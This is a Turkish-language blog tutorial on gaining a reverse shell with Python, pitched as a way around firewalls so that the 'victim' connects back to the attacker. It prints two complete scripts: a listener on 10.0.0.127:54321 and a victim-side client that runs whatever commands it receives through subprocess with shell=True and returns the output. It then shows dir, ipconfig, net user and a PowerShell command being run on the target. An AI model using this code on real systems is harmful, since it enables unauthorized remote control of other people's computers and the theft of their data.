Bildiğiniz üzere günümüzdeki güvenlik duvarları dışarıdan bir bağlantı talebine izin vermiyor ve ciddi bir filtreleme söz konusu.Madem biz doğrudan kurbana ulaşamıyoruz o zaman kurban bize ulaşsın mantığını kullanarak sızma işlemini kolaylaştırabiliriz.Peki bu nasıl olur ? tabiki reverse shell ile.
Reverse Shell Nedir?
Kurban sistemde çalıştırıldığında saldırganın dinlediği bir port’a bağlantı talebi gönderen ve saldırganın bu sayede kurban sistemde komut çalıştırmasına olanak sağlayan scriptlerdir.Bu yazıda python ile nasıl reverse shell alınacağına değineceğim.
Öncelikle python’da socket modülünü kullanacağız. Socket Çift yönlü olarak iletişim kurmamıza olanak sağlar .Lafı uzatmadan koda geçelim.
KOD
import socket
host="10.0.0.127"
port=54321
buffer = 1024
ex=(host,port)
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
sock.bind(ex)
print("[*] %s:%d server başlatıldı.."%(host,port))
sock.listen(1)
conn,address = sock.accept()
address = str(address)
address = address[2:-9]
print("[*] %s bağlandı .."%address)
while True:
komut = input("shell:")
if komut in "exit":
conn.send(b"exit")
conn.close()
break
else:
conn.send(komut.encode())
data = conn.recv(buffer)
print(data)
Meali
import socket
Socket modülümüzü scripte dahil ettik
host="10.0.0.127"
ip adresimizi tanımladık.Ben iç ağda olduğum için local ip girdim siz eğer dış ağda çalışacaksanız NAT yapılandırmayı unutmayın.
port=54321
buffer = 1024
ex=(host,port)
Burada dinleyeceğimiz port numarası,alacağımız paketin boyutu(1024=1mb) ve basit bir tanım girdik.
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
AF_INET: ipv4 tanımı için kullanılır.
AF_INET6: ipv6 tanımı için kullanılır.
SOCK_STREAM: TCP ile haberleşme için kullanılır.
SOCK_DGRAM: UDP ile haberleşme için kullanılır.
sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
Oluşturduğumuz soketi tekrar tekrar kullanabilmek için bu tanımı yapmamız gerekiyor. Aksi halde soketin tekrar kullanılmasına izin verilmiyor.
sock.bind(ex)
print("[*] %s:%d server başlatıldı.."%(host,port))
sock.listen(1)
server’ı başlatıyoruz ve bir kişinin bağlanmasına izin veriyoruz.
conn,address = sock.accept()
address = str(address)
address = address[2:-9]
print("[*] %s bağlandı .."%address)
sock.accept() ile bağlantıya izin veriyoruz ama 2 değişken tanımladık çünkü ilk değişken bizim handle’ımız ikincisi ise bağlanan kişinin ip ve port bilgisini verir. Örneğin: (‘192.168.1.102’, 50618) böyle bir çıktıyla karşılaşmamak için basit bir düzenleme işleminden sonra ekrana bilgiyi basıyoruz.
while True:
komut = input("shell:")
if komut in "exit":
conn.send(b"exit")
conn.close()
break
Madem bağlantıyı kurduk o zaman komut gireceğimiz bir input olmalı. Eğer girilen komut exit ise client’e “exit” kelimesini yollar haber veririz sonrada bağlantıya son verip programı sonlandırırız.
else:
conn.send(komut.encode())
data = conn.recv(buffer)
print(data)
Aksi halde girilen komutun encode edilmiş halini gönderir ve cevap gelmesini bekleriz eğer cevap gelirse (sock.recv(1024)) ekrana yazdırırız.
Peki kurbanın çalıştıracağı kod ne olacak ?
KOD
import socket
import subprocess
host="10.0.0.127"
port=54321
buffer = 1024
ex=(host,port)
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
sock.connect(ex)
while True:
komut = sock.recv(buffer).decode()
if komut in "exit":
sock.close()
break
else:
exc = subprocess.Popen(komut,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
sock.send(exc.stdout.read())
sock.send(exc.stderr.read())
Meali
Farkedeceğiniz gibi subprocess adlı bir modül çağırdık. Bu alt process çalıştırmamıza olanak sağlayan bir modül.
host="10.0.0.127"
port=54321
buffer = 1024
ex=(host,port)
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
Buralar bildiğiniz şeyler 🙂
sock.connect(ex)
ex değişkeninde tanımladığımız ip ve port bilgisini kullanarak bağlantı isteği yolladık.
while True:
komut = sock.recv(buffer).decode()
if komut in "exit":
sock.close()
break
Server’dan komut gelmesini bekleyip decode ederiz.Eğer komut exit ise soketi ve programı sonlandırır.
else:
exc = subprocess.Popen(komut,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
sock.send(exc.stdout.read())
sock.send(exc.stderr.read())
Aksi halde subprocess ile komutu çalıştırır ve standart giriş,çıkış,error paramterelerini de ekleyip çıktıyı doğru bir şekilde alıp server’a gönderir.
Örnek
Script’i çalıştırdığımızda 54321.port’u dinlediğimizi görüyoruz.
Client script’i çalıştırdığında ise bize kapı aralıyor ve bağlandığı bilgisini görüyoruz.
dir komutu ile karışık da olsa klasör ve dosyaları görüyoruz.
ipconfig komutu ile ip bilgisini görüyoruz.
powershell komutları da girebiliriz örneğin “powershell start-process notepad” komutu ile hedefte not defteri açtık.
net user komutu ile hedefteki kullanıcıları listeledik
Kısacası istediğimiz komut’u çalıştırabiliriz.Hayal gücünüze kalmış.Bu konu ile ilgili daha detaylı bir makale gelecek.
Hibrit Usta
Ellerinize sağlık,bilgilendirici bir makale oldu.